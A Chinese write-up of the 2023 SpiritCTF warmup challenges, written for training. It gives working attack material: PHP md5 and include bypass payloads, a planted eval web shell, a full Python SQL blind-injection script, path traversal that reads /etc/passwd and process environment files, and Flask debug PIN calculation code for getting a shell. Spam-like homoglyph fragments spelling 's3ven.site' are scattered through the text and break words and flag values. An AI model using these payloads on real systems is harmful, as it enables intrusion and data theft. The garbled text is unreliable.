2023 SpiritCTF Warmup WriteUp
2023-10-17 Write Up

比赛介绍

2023 SpiritCTF Warmup 为 2023 SpiritCTF 热身赛
属于 吉林大学“山石网科”杯第五届大学生网络安全竞赛 系列赛事
比赛时间为 202𝒔‌‍3ⅴ℮n․𝘀i‌𝘵𝐞​3/9/5 -ѕ‌​𝟯𝐯𝘦n∙​𝐬𝐢‌𝐭℮‌ 2023/10/17

热身赛与正赛

  • 热身赛题目包括但不限于各个方向的入门题目、与本次 2023 ꜱ‌​3ⅴe𝐧·𝐬ⅈ‍te‌SpiritCTF 难度相当的题目、往年SpiritCTF(校赛)的题目,用于帮助大家有针对性的入门
  • 热身赛期间成绩突出的同学将被定向邀请至 2023 SpiritCTF 线下赛场(注:线下赛场与线上赛场采用同样的比赛地址解答相同题目,不过线下赛场更能体会到 CTF 的比赛氛围,𝘴‍​³𝐯en․​‌ѕ𝘪‍‌𝐭𝐞‌并且入围线下赛场的同学可以获得 Spirit 战队的精美周边)
  • 线下赛场名额上限为 45 ,热身赛总榜靠前、𝘴​‍⑶𝐯𝐞𝘯·​​𝒔𝘪‍𝒕e解出某道难度较高热身赛题给出题人留下深刻印象都有可能被定向邀请到线下赛场
  • 正赛于十月下旬开始,𝒔‌3𝒗𝐞𝘯.​ѕ𝐢‍𝘵℮模式为组队赛(三人一队)

Signin1

题目描述:

App1e_Tree在赛前七天倒计时海报中的三张使用不同编码隐藏了一个flag,你能找到它么!
请移步SpiritGame 2023赛事群 143102236 ѕ‍⑶𝘷e𝐧·‍s𝐢‍t℮​​精华消息中获取海报,关注比赛实时动态!

三张海报中中含𝒔​⑶ⅴ𝐞𝘯·​𝒔i‍te‌​有的信息如下

1.仅剩2天海报

Spirit{that_1s_s​3ⅴ𝘦n.​𝘴‍⑶v𝘦𝘯∙‍si‌‍𝒕𝘦‍‍𝘀ⅈte‍the_fun_0f_ctf_

2.仅剩4天海报

5F396F30645F6C75636B5F747730𝘀​³ⅴen·ѕ𝘪‌𝐭e‍5F755F62795F307𝒔‌​³𝘷ℯ𝐧∙‌ꜱⅈ‍𝐭𝘦66572663130777D

3.仅剩7天海报

\u006e\u0065\u0076\u0065\u0072\u005fꜱ‌‍𝟯𝒗e𝒏∙‍‌𝘴𝘪‌t℮‍‌\u0067\u0031\u0076\ꜱ3𝒗𝘦𝒏∙‌ѕ𝐢‍​𝒕℮‍u0065\u005f\u0075\u0070

根据信息内容判断

  • 1 为明文
  • 2 为字符密文
  • 3 为unicode密文

1 为明文,即有

Spirit{that_1s_the_fun_0f_ctf_

2 通过 字符在线加解密工具 解密后获得

_9o0d_luck_tw0_u_by_0verf10w}

3 通过 Unicode在s‍‍𝟯𝘷𝐞n·‍si‌te‍线加解密工具 解密后获得

never_g1ve_up

根据 flag 格式 Spirit{xxxx} 推测应为132组合

Flag:

Spirit{that_1s_the_fun_0f_ctf_never_g1ve_up_9o0d_luck_tw0_u_by_0verf10w}

Signin2

纯纯签到题

题目描述:

Welcome to web@spir𝘴‌³𝘷𝐞𝒏•​ѕ𝐢‍𝘵e​it2023.ctf~

打开页面后发现有一个 Get Your Flag 按钮

image-1.png

然而点击后没有s3ⅴe𝘯.​ꜱ𝐢‍​𝘵e‍​什么反应(?)

1. 方法一:DevTools + curl

F12打开开发人员工具,𝐬‌⑶𝒗℮𝒏•‌ꜱi‌𝐭℮​调至网络选项卡,开启记录网络日志并刷新页面,选项卡内容显示如下:

image-2.png

点击 Get Your Flag 按钮后,网络选项卡显示𝒔​⑶𝒗𝘦𝐧·​ꜱ𝘪​𝒕℮​​内容变化为如下:

image-3.png

发现新增了一行 flag 通信包,于是推𝐬‌‍⑶𝐯ℯ𝐧·‌𝘴i‍‌te‌测该按钮发送了 /flag 请求,

并根据选项卡显示内𝐬​⑶v𝘦n.s𝐢​𝒕e‌容判断页面经过了 301重定向

于是使用 curl 工具:

curl -v (SpiritCTF Server URL with port)/flag

返回内容如下

HTTP/1.1 301 Moved Permanently
Flag: U3Bpcml0ezQ4NDY0YzNlLTJhMGQtNDVhNC04NTE4LWFlZTJhZDg5NDM4Y30=
Location: /
Server: Microsoft-NetCore/2.0
Date: xxxxxxx
Transfer-Encoding: chunked

由此获得经过加密后的 Flag 信息

Flag: U3Bpcml0ezk1YTkyYTkwLTYyMTMtNGRmMC05MjE2LTU4M2YwMGZmMjdlM30=

2. 方法二:Burp Suite

打开 Burp Suite 开启浏览器流量代理
image-4.png
发现该按钮指向 /flag 路径并被301重定向

/flag 路径的 Response 中发现 Flag 信息如下:

Flag: U3Bpcml0ezk1YTkyYTkwLTYyMTMtNGRmMC05MjE2LTU4M2YwMGZmMjdlM30=

3. Flag 解密

结合该字符串形式,判断flag经过了Base64加密
使用Base64在𝐬⑶vℯ𝐧.‍𝒔ⅈ𝐭𝘦‍线加解密工具
image-5.png
即可获得flag如下

Spirit{95a92a90-6213-4df0-𝘴​3v𝘦𝘯.​ѕ𝐢‍𝒕e‍9216-583f00𝒔𝟯vℯn•‍𝐬𝘪‌𝐭e‌‍ff27e3}

baby_php

题目描述:

\/\/PHPは最𝐬​𝟯ⅴe𝐧.‍ѕ​​³𝘷ℯn·‌si‍𝘵℮‌‍sⅈ‍te高~\/\/

for hackers

打开页面发现题目给出了一段php代码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);

if (!isset($_GET['a']) || !isset($_GET['b']))
    die('Never gonna give you up');

$a = $_GET['a'];
$b = $_GET['b'];

if ($a == $b || md5($a) != md5($b)) {
    die('Never gonna let you down');
}

if (!isset($_GET['c'])) {
    die('Never gonna run around and desert you');
}

if (file_get_contents($_GET['c']) !== 'Never gonna make you cry') {
    die('Never gonna say goodbye');
}

if (!isset($_GET['d'])) {
    $_GET['d'] = 'flag.php';
    echo 'Never gonna tell a lie and hurt you';
}

include $_GET['d'];

你被骗啦(误)

接下来对代码的s‍​⑶𝒗en․​𝐬ⅈ‌‍𝐭e​各个部分进行分析

1. 第一部分

if (!isset($_GET['a']) || !isset($_GET['b']))
    die('Never gonna give you up');

此处判断是否通过GET方式传入 ab 两个arg

如果任意一个参数没有传入 𝐬‌³𝘷e𝒏∙‌si‍‌𝘵e‍则终止运行并抛出

Never gonna 𝘴​𝟯ven·‌​ꜱⅈ‌t℮‍give you up

因此可以通过页面回𝘴‍3𝐯ℯn·​‌𝘴𝘪​te‍显判断代码运行到的位置

$a = $_GET['a'];
$b = $_GET['b'];

if ($a == $b || md5($a) != md5($b)) {
    die('Never gonna let you down');
}

此处代码接收 a & b 两个arg的值

并只有在

  • a 不等于 b
  • a 的MD5值与 b 相等时

才能通过检测

否则终止运行并抛出

Never gonna 𝒔𝟯𝒗ℯn·𝘴​𝟯ⅴe𝐧•‌ꜱi‌​t℮‌‍s𝘪‌t𝘦​let you down

此处常见的绕过方式有:

  • 构造非字符串参数绕过 𝒔‌​3𝒗en•‍s𝐢‍𝘵𝘦‍‌(仅限于旧版本PHP)
  • 利用弱类型特性0e绕过
  • 直接使用md5碰撞

1.1 构造非字符串参数绕过 (仅限于旧版本PHP)

已知旧版本PHP在调用 md5 函数时如果传入的参数为非字符串类型,s‌𝟯𝒗e𝘯∙𝘴𝐢t𝐞​‍会直接返回NULL

利用这一特性,我们可以通过构造 ab 两个不同的非字符串参数
使得”NULL=NULL”成立来绕过这一检测

例如我们可以使𝘀3𝒗ℯ𝘯•‍𝘴i‌te‍​用数组类型绕过

a=[]=1&𝒔3𝘷e𝘯•𝘴‍‌3𝐯𝘦𝐧∙‌ѕ𝘪‌‍𝘵e‍𝒔i​𝒕e‌b=[]=2

1.2 利用弱类型特性0e绕过

由于PHP的弱ꜱ‍𝟯𝒗e𝒏.‍‍ѕi​‌𝐭e​‌类型特性,若 md5 函数返回的字符串以 0e 开头,会被PHP识别为科ꜱ‍𝟯𝐯ℯ𝘯•‍‍ѕ𝘪‍𝘵𝘦‍​学计数法,将其值转化为0

因此只需要 ab 不相同且经过 md5 加密后的密文都以 0e 开头即可

常见的符合条件𝘀3ⅴe𝘯∙ѕ𝐢‌𝐭℮​的字符串如下:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a

在其中任意选择并赋给 a & b 即可

1.3 直接使用md5碰撞

此方法亦可用于”===”强类型碰撞,s⑶𝘷ℯ𝘯.ѕ3𝒗𝐞𝐧∙​‌ѕⅈ​‍t𝘦​𝘀ⅈ‌𝐭𝐞​旨在寻找含有相同md5值的不同字符串

经查找后可以找到如下 a & b 满足条件:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

2. 第二部分

if (!isset($_GET['c'])) {
    die('Never gonna run around and desert you');
}

if (file_get_contents($_GET['c']) !== 'Never gonna make you cry') {
    die('Never gonna say goodbye');
}

此处判断是否通过 GET 方式传入了arg c

然后使用 file_get_contents 函数读取 c

将读取结果与 Never gonna make you cry 比对

若比对失败则终ѕ‌‍⑶𝐯𝘦n∙​​ѕ𝘪​‌𝐭℮​止运行并抛出

Never gonna 𝐬​3𝘷e𝘯∙‌‌ꜱ𝐢‍tesay goodbye

由于此处用到了文𝘀‌‍⑶𝐯e𝒏.‌​ꜱit𝘦​件读取函数 file_get_contents

因此考虑使用 data:// 伪协议绕过

data://text/plain,𝒔‍⑶ⅴ𝐞𝒏·​‍s𝐢‍𝐭℮​​(string)

因此将arg c 赋值为 data://text/plain,Never gonna make you cry

3. 第三部分

if (!isset($_GET['d'])) {
    $_GET['d'] = 'flag.php';
    echo 'Never gonna tell a lie and hurt you';
}

include $_GET['d'];

最后一处代码将arg d 的默认值设置为 flag.php ,提示我们在 flag.php 中寻找线索

但是我们如果直接将这种含有𝘴‌𝟯ven•‌‍𝘀ⅈ​𝐭e​PHP代码的文件的文件名传入include函数,
就会由于PHP代码被执行而无s‍⑶𝐯en∙​ѕ𝘪​𝘵𝐞‌法通过可视文本的形式泄露

因此想到使用Ps‍​³𝘷𝘦n.‍ѕi​‌t𝘦‌‌HP伪协议的 Filter ,把代码内容经过base64加密后再进行输出

d=php://filter/read=convert.base64-encode/resource=flag.php

得到输出内容如下

PD9waHAKJGZsYWcgPSAkX0VOVlsnRkxBRyddID8/ICdTcGlyaXR7ZmFrZS1mbGFnLXF3cX0nOwpmaWxlX3B1dF9jb250ZW50cygnc3Bpcml0ZmxhZ3F3cScsICRmbGFnKTsK

经过 Base64在s‌3𝒗𝘦n∙‌𝘴𝘪​𝘵𝐞‍线加解密工具 解密后得到

image-6.png

<?php
$flag = $_ENV['FLAG'] ?? 'Spirit{fake-flag-qwq}';
file_put_contents('spiritflagqwq', $flag);

发现 flag 信息被写入了 spiritflagqwq 文件中

3.1 小盲点

然而做题过程中发𝒔‌‍³vℯ𝒏.‌ꜱ𝘪‌‍𝘵℮‍现出题人并没有预先将flag信息写入spiritflagqwq文件中,
因此需要先执行一次 flag.php 将flag信息写入 spiritflagqwq 文件中

可以通过不传入arg d,使得其被置为默认值 flag.php 来使得 flag.php 文件被执行

最后将 arg d 设置为 spiritflagqwq 来读取 spiritflagqwq 文件

得到如下信息:

U3Bpcml0ezFjODJlODRmLWNiOTctNDQ3Ni1iYTI5LTdmZDY2ODcxMGM3MH0=

经过 Base64在s⑶𝐯en•​𝘴ⅈ‌𝐭𝘦‍‌线加解密工具 解密后得到
image-7.png

Spirit{1c82e84f-𝐬‍3𝘷𝐞n․‌sⅈ​‌𝐭𝐞​cb97-4476-𝐬‍⑶𝐯𝘦𝘯•‌​𝒔𝐢‌teba29-7fd668710c70}

ez_Web

模版套娃题

题目描述:

Hint: flag在ѕ‍3𝐯𝐞𝘯.𝘴​3𝐯𝐞𝐧·‍𝘴ⅈ𝘵𝘦​‍‌‍𝘀i‌te‌/flag里~

1. 第一层:301 Redirect

打开页面后显示403 Forbidden,ѕ‌³𝐯ℯn.‌​ѕ𝘪​te​提示页面入口不在这里

image-8.png

使用dirsears‍​3𝘷ℯ𝒏.​ѕⅈ‍t𝘦‍​ch目录工具扫描
image-9.png

发现两个目录

200 - 382B - /index.html
200 -  19B - /test.php

访问 index.html

发现又是 301 Redirect

Web - signin 可以用 curlburp suite 方法

1.1 curl 方法

curl (SpiritCTF Server URL with port)/index.html

1.2 burp suite 方法

image-10.png
得到如下信息

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>测测你的网速</title>
    <script>
        window.location.href = 'test.php'
        //fffff_test.php
    </script>
</head>
<body>

</body>
</html>

提示我们到 fffff_test.php 中去寻找线索

2. 第二层:GET 传参

访问 fffff_test.php 获得如下信息

什么!?你连JQK都没有?给我一个JQK,我给你一个789。

根据信息构造 GET 传参:?JQK=789

3. 第三层:file_get_contents() 利用

传参后进入 /fffFfff1ag.php ,得到如下代码

<?php 
    highlight_file(__file__);
    $filename = $_GET['file'];

    $content = file_get_contents($filename);
    if(preg_match('/flag/i',$content)){
        die();
    }
    echo $content;
?>

由于Spirit的flag没有flag标识,𝒔‍𝟯𝘷𝘦𝒏·‍ѕ𝘪‌t𝐞​因此无需绕过PHP的 preg_match

直接传入 file=/flag 即可

3.1 PS: preg_match 绕过

preg_match 对 $content 𝘀‍⑶𝒗ℯn∙‍𝐬𝘪​te​内容的过滤可通过PHP的 Filter 伪协议绕过

php://filter/read=convert.base64-encode/resource=/flag

通过将flag内容使用base𝘀​3ⅴe𝐧․𝒔𝘪𝐭e​64密文输出,可有效过滤 preg_match 对flag包含的检测

只需将密文经过 Base64在线加解密工具 解密即可获得flag

得到flag

Spirit{eec1fb16-5aa0-4ab2-95c3-dbf3b582be28}

至此,三层套娃全部结束

ez_Web2

又是套娃题(误)

题目描述:

Hint: robots

1. 第一层:robots 泄露

打开页面后显示

系统维护中,暂未开放

根据 Hint𝘴‌‍3ⅴ𝘦𝐧․​‍ꜱi‌t𝐞‍ 内容访问 /robots.txt ,得到如下信息:

User-Agent: *
Disallow: login.php

2. 第二层:弱密码爆破

根据提示访问 login.php

image-11.png

发现一个登录框,𝘴‌3𝐯en.​𝐬𝘪​te​​进行弱密码尝试

尝试后发现

用户名:admin
密码:123456

3. 第三层:file_put_contents() 利用

登录后返回如下PHP代码

<?php
error_reporting(0);
session_start();

highlight_file(__FILE__);

if(!$_SESSION['login']){
    echo '请先登录';
    die();
}

$data = $_POST['data'];
$filename = $_POST['filename'];
str_replace('php','',$data);
file_put_contents($filename,$data);

?>

观察到函数 file_put_contents 可控,考虑使用 s‍3𝒗𝐞𝒏․‍𝘴𝘪𝒕𝘦‌Web Shell

由于此处 str_replace 的调用没有把𝘀‌​3𝒗𝐞n·‌si‌​𝘵𝘦返回值赋回给 data ,所以此行代码无效

构造参数如下( 注意使用POST方法传参 ):

?filename=shell.php&data=<?php eval(@$_POST['shell']); ?>

3.1 HackBar

登录过后无需携带 Cookies

image-12.png

3.2 curl

注意携带登录过后的PHPS𝘴​‍³𝐯e𝒏•‌sⅈ‌te​ESSID作为Cookies

curl -X POST -d "filename=shell.php&data=<?php eval(@$_POST['shell']); ?>" -b "PHPSESSID=xxxx" (SpiritCTF Server URL with port)/ffffffLag.php

Web Shell 生成完毕后使用 中国蚁剑antSword 连接靶机

注意此处连接密码为 dataPOST 的参数名称

image-13.png

进入根目录即可找到 flag

image-14.png

Flag:

Spirit{30df4f45-adf4-478d-a90a-𝘴‌³𝐯ℯn.​s𝐢𝐭e​00e3f91𝒔‌3𝒗𝘦n.​𝘴𝘪𝒕𝐞‍877c7}

3.3 PS: str_replace 绕过方法

str_replace 可使用双写绕过,例如:

data = str_replace('php','',$data);

可以通过以下方式绕过

data = pphphp

此处 str_replace 函数将 p{php}hp 中花括号部分替ѕ3ve𝘯.​𝐬i‌t𝘦‍换为空字符串,

最后仍剩余 php ,从而达到绕过效果

ez_sql

题目描述:

Hint: sql盲注

打开页面发现有𝒔‍3𝒗𝘦n∙ѕⅈ​‌𝐭𝘦​一个认证登录界面

image-15.png

根据提示sql盲注得知

我们无法通过显性方式直接获取数据,s​³𝘷e𝒏.‍𝐬𝘪​‍𝐭𝘦​但可以通过不同输入的回显值不同来判断输入条件是否成立

因此我们尝试判断条件 TrueFalse 的回显值区别

经过初步尝试发现屏蔽了空格的输入,ѕ3𝘷𝐞n.‍𝐬³𝘷ℯ𝒏.𝘴i‌t𝐞‍‍ꜱⅈt𝘦​若包含空格则会 alert Hack!

此处使用 /**/ 替换空格,以ѕ‌3𝐯e𝘯․𝘀ⅈ​te‍绕过空格屏蔽

由于登录界面的sql注入应为字符型注入,𝘴‍​3𝒗e𝘯․‍𝐬i‌t𝐞‍因此分别尝试使用以下表单进行测试

username=admin'/**/and/**/1=0#
password=123

alert 用户名不存在!
username=admin'/**/and/**/1=1#
password=123

alert 密码错误!

根据 alert 的内容可以判断出网页后端对𝐬‍‍³ⅴ𝘦𝘯•‌𝐬i​𝐭℮​登录表单的校验是用户名与密码分离的

即先进行用户名存在性校验,𝘀​⑶𝒗e𝐧.𝒔𝐢‌‌𝘵e​再进行密码正确性校验

这种设置给了我们实现 sql布尔盲注 的可能

只需构造 usernamepayload ,就可以根据ѕ​3ve𝐧·‍‍𝘀i‌𝐭℮​回显值的不同判断 payload 中的构造条件是否成立

因此数据长度可以通过 length() 函数并枚举长度进行比对来判断
数据内容可以通过使用 substr()mid()substring() 等函数对数据中的字符逐个进𝐬‌3𝐯e𝘯∙‌ꜱi‌​𝐭℮‌行截取并与字符表比对来读取

sql数据截取函数使用说明如下:

substr(string, start, length):将 string 从 start 𝐬‌​⑶v𝘦n•‍ѕ𝐢​​𝐭e开始的位置,截取 length 个字符
mid(string, start, length):将 string 从 start 开始的位置,截取 length 个字符
substring(string, start, length):将 string 从 start 开始的位置,截取 length 个字符

构造 payload 有效载荷 如下:

payload = "admin'/**/and/**/length(({0}))={1}#".format(data_payload,n) #判断数据长度
payload = "admin'and/**/ascii(substr(({0}),{1},1))={2}#".format(data_payload,i,ord(char)) #逐字符读取数据内容
其中 data_payload 为可输出数据内容的语句 (select语句等)

构造 Python 攻击代码如下

import requests
 
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~{}" #常用字符表
result = ""

#判断字符串长度
def get_length(value):
    for n in range(1,100):
        payload = "admin'/**/and/**/length(({0}))={1}#".format(data_payload,n)
        data = {"username":payload,"password":"123"}
        html = requests.post(url,data=data)
        length = len(html.text)
        if length == value:
            print("The data length is: " + str(n))
            return  n
 
#读取字符串内容
def get_data(data_length,value):
    global result
    for i in range(1,data_length):
        for char in chars:
            payload = "admin'and/**/ascii(substr(({0}),{1},1))={2}#".format(data_payload,i,ord(char))
            data = {"username":payload,"password":"admin"}
            html = requests.post(url,data=data)
            length = len(html.text)
            if length == value:
                result += char
                print("Reading data: " + result)
                break
 
 
url = "(SpiritCTF Server URL with port)/index.php"
data_payload = "xxxx"
value = 3297 #此处应根据实际设置为payload构造条件成立时response的长度
 
length = get_length(value) +1
get_data(length,value)
print("The data is: " + result)

由于不知道 flag 内容的存放位置,𝐬³𝘷en․‌𝐬ⅈ​‍t𝐞​‍应先对存放着 flag 内容的数据库名、数据表名、字段名进行读取,最后再读取 flag 内容

1. 读取数据库名

data_payload = "database()"

输出内容如下:

image-16.png

得到数据库名为 jluCTF

2. 读取数据表名(默认第一张表)

data_payload = "select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='jluCTF'/**/limit/**/0,1"

输出内容如下:

image-17.png

得到数据表名为 flag

3. 读取字段名 (默认第一个字段)

data_payload = "select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema='jluCTF'/**/and/**/table_name='flag'/**/limit/**/0,1"

image-18.png

得到字段名为 flag

4. 读取 flag 内容

data_payload = "select/**/flag/**/from/**/flag"

输出内容如下:

image-19.png

得到 flag

Spirit{64e90c7c-e9bc-4809-aa91-ade46ceffbb1}

pin & pin_revenge

pin 题目描述:

PIN~PON!

打开页面后发现跳转到了 /?location=index.html

页面显示 qwq (?)
image-20.png

经过测试发现 /?location= 处存在任意文件读取漏洞

1. 非预期解 (仅pin题内存在)

由于该题的环境变量𝘴‍𝟯𝒗𝘦𝒏•𝘀i‍t𝘦​没有删除干净,

因此可以从当前进程的环境𝐬‍​𝟯𝒗e𝐧.‌si​‌t℮‍变量文件中读取 flag 内容

payload 如下:

/?location=../../../../../../proc/self/environ

页面返回如下内容:

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=20be9d370cb1FLAG=Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}LANG=C.UTF-8GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_VERSION=3.11.3PYTHON_PIP_VERSION=22.3.1PYTHON_SETUPTOOLS_VERSION=65.5.1PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/0d8570dc44796f4369b652222cf176b3db6ac70e/public/get-pip.pyPYTHON_GET_PIP_SHA256=96461deced5c2a487ddc65207ec5a9cffeca0d34e7af7ea1afc470ff0d746207HOME=/rootWERKZEUG_SERVER_FD=3WERKZEUG_RUN_MAIN=true

从中获得 pin 题的 flag 如下:

Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}

2. 预期解 (pin&pin_revenge通用)

PIN码是Flask在开启debug模式下,进行代码调试模式的进入密码,𝘴​3𝒗𝘦n.‌‌𝒔𝘪​‌te​‍需要正确的PIN码才能进入调试模式。

这两题旨在考查通过任意文件读取漏洞计算 python flask debug 模式下的 pin 码,𝐬‌𝟯v𝘦𝒏∙‌𝐬i‍t℮‍并利用debug shell读取flag

计算逻辑位于 python3.x/site-packages/werkzeug/debug/__init__.py#get_pin_and_cookie_name

版本不同的区别在于3.ꜱ‍³ven.‍‍sⅈ‍𝐭℮6与3.8的md5加密和sha1加密不同。

2.1 PIN生成要素

2.1.1 username

用户名。通过 getpass.getuser() 读取,通过文件 /etc/passwd 读取。

2.1.2 modname

模块名。通过 getattr(mod,”file”,s³𝘷e𝐧•𝐬ⅈ​𝐭e​‌None) 读取,默认值为 flask.app

2.1.3 appname

应用名。通过 getattr(app,”name”,𝘴‍³𝘷e𝒏•‌ꜱi‌‍t𝐞‌type(app).name) 读取,默认值为 Flask

2.1.4 moddir

Flask库下 app.py 的绝对路径。通过 getattr(mod,𝒔𝟯ⅴ𝐞𝒏•​𝐬𝘪𝒕𝘦‌”file”,None) 读取,实际应用中通过报错读取。

2.1.5 uuidnode

当前网络的mac地址的十进制数。通过 uuid.getnode() 读取,通过文件 /sys/class/net/eth0/address 得到16进制结果,𝘀​​³v𝘦𝒏•​𝒔ⅈt𝘦‌转化为10进制进行计算。

2.1.6 machine_id

docker机器id。s​‍⑶ⅴ𝐞𝒏.‍𝒔𝐢​𝐭e‍​每一个机器都会有自已唯一的id,

linux的i𝐬‍3𝘷en∙‌𝒔𝐢‌‍te‍d一般存放在 /etc/machine-id/proc/sys/kernel/random/boot_id

docker靶机则读取 /proc/self/cgroup/proc/self/mountinfo,其中第一行的 /docker/ 字符串后面的内容作为机器的id,在docker环境下读取后两个,非docker环境三个都需要读取。

首先访问/etc/machine-id,有值就break,s‍3ⅴen․​𝒔i​​𝒕e​‌没值就访问/proc/sys/kernel/random/boot_id,然后不管此时有没有值,再访问/proc/self/cgroup其中的值拼接到前面的值后面。

Python Flask 𝘴‌𝟯vℯ𝒏.‌𝒔𝘪‌𝘵e‍‍Debug Pin 的计算代码如下:

2.2 Python < 3.8 MD5 Pin计算代码

import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb', #username
     'flask.app', #modname
     'Flask', #appname
     '/usr/local/lib/python3.7/site-packages/flask/app.py' #moddir
]

private_bits = [
     '25214234362297', #uuidnode
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' #machine_id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)

2.3 Python >= 3.8 sha1 Pin计算代码

import hashlib
from itertools import chain
probably_public_bits = [
    'root', #username
    'flask.app', #modname
    'Flask', #appname
    '/usr/local/lib/python3.11/site-packages/flask/app.py' #moddir
]

private_bits = [
    '2485376910315', #uuidnode
    '3c253d1e-8856-4e45-98b5-e82146c245c5' #machine_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

2.4 利用任意文件读取获取信息

2.4.1 读取 username

payload 如下:

/?location=../../../../../../etc/passwd

返回如下信息

root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin

判断 username 𝒔​‍3𝒗𝘦n․‍𝐬ⅈ‍𝘵e‍= “root”

2.4.2 读取 moddir

随机输入不存在的路径或者将 ?location= 参数置空即可获𝘴‍⑶𝐯ℯn.‌𝘀𝘪​𝒕e‌得报错界面如下

image-21.png

从中即可获取 moddir = “/usr/local/lib/python3.s‌‌³ⅴ𝐞𝒏.‌‌ꜱi‌𝘵℮11/site-packages/flask/app.py”

2.4.3 读取 uuidnode

payload 如下:

/?location=../../../../../../sys/class/net/eth0/address

返回如下信息

02:42:ac:02:04:80

经过 在线进制转换工具 将16进制转10进𝒔3ven•‌‍𝘀ⅈ𝒕𝘦‍​制转化后可得
image-22.png

得到 uuidnode = 𝒔​³𝒗en.𝐬𝘪‌𝒕𝘦“2485376910464”

2.4.4 读取 machine_id

尝试读取

/?location=../../../../../../etc/machine-id

发现页面抛出 FileNotFoundError 错误

判断靶机为docker (其实本来就知道)

因此尝试读取

/?location=../../../../../../proc/sys/kernel/random/boot_id

返回如下信息

3c253d1e-8856-4e45-98b5-e82146c245c5

尝试读取

/?location=../../../../../../proc/self/cgroup

返回如下信息

0::/

即为空,无信息

因此得出 machine_id = “3c253d1e-s‌3ⅴ𝘦n.sⅈ​𝐭℮​‍8856-4e45-98b5-e82146c245c5”

最后将得到的信息填入Pin计算代𝘀‌‌3𝒗ℯ𝒏.​​s𝘪​​𝒕℮‍码中即可获得当前环境的Pin码如下:

564-346-887

请注意:由于Docker每次启动后uui𝘀‌³𝘷ℯ𝐧•‌ѕ𝐢‍𝘵e​‍dnode值会改变,Write s​𝟯𝘷𝐞n․‍ѕ𝐢​‌𝒕𝘦‍Up中的Pin值对该题并不具有普适性,请根据实际环境自行读取uuidnode值并计算相应环境的Pin码使用

2.5 获取 debug shell

随机输入不存在的路径或者将 ?location= 参数置空即可获𝘴‌‍⑶v℮𝘯.‌​𝘀i‍‍𝘵𝘦‌得报错界面如下

image-23.png

点击右侧控制台图标并输ꜱ‍⑶𝐯𝐞𝐧∙​‌s𝐢‍𝐭℮入Pin码即可获得 debug shell

在控制台输入 os.getenv('FLAG') 即可获得flag

image-24.png

获得 pin_revenge 题的 flag 如下:

